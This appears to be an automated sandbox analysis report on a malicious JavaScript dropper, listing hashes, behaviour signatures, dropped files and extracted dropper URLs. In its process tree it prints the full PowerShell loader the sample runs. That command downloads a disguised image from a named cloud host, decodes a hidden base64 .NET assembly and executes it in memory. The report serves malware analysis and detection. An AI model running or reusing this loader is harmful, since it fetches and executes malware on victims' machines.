Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    30-01-2025 02:53

General

  • Target

    0b44b661974b43ec8eac1f352951cb1f9fc703bbbbbd0e57a38e118b5d1524ec.js

  • Size

    175KB

  • MD5

    bfacd543f1c8ed0bbbb56d4ee2163b27

  • SHA1

    f752d970c3e8c41c9c1bc42443c378d3353c3511

  • SHA256

    0b44b661974b43ec8eac1f352951cb1f9fc703bbbbbd0e57a38e118b5d1524ec

  • SHA512

    c23f6307a4754d9138d839af693d2ff02c5c49fa6cb38d7deaaf636b79d2986beb059c805a6ffae7ccc948fcf5225368c4773cbb02ea63aa347c9842418dbfa8

  • SSDEEP

    3072:IzkhJXA9AyzShrbV8QauBNA96q0rvY4FDKj:IIPrbV8JKkj

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/daxwua63y/image/upload/v1737696171/heke2pmteuw8sqsplhkl.jpg

exe.dropper

https://res.cloudinary.com/daxwua63y/image/upload/v1737696171/heke2pmteuw8sqsplhkl.jpg

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\0b44b661974b43ec8eac1f352951cb1f9fc703bbbbbd0e57a38e118b5d1524ec.js
    1⤵
    • Blocklisted process makes network request
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:3060
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$originalText = '#x#.621/elif/#en.salij//:sp##h';$restoredText = $originalText -replace '#', 't';$imageUrl = 'https://res.cloudinary.com/daxwua63y/image/upload/v1737696171/heke2pmteuw8sqsplhkl.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = [ClassLibrary1.Home].GetMethod('main').Invoke($null, [object[]] @($restoredText,'false','MSBuild','false'))"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2864

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabC468.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\TarC4C8.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • memory/2864-15-0x000007FEF5CDE000-0x000007FEF5CDF000-memory.dmp

    Filesize

    4KB

  • memory/2864-17-0x0000000001D90000-0x0000000001D98000-memory.dmp

    Filesize

    32KB

  • memory/2864-16-0x000000001B680000-0x000000001B962000-memory.dmp

    Filesize

    2.9MB

  • memory/2864-19-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

    Filesize

    9.6MB

  • memory/2864-18-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

    Filesize

    9.6MB

  • memory/2864-54-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

    Filesize

    9.6MB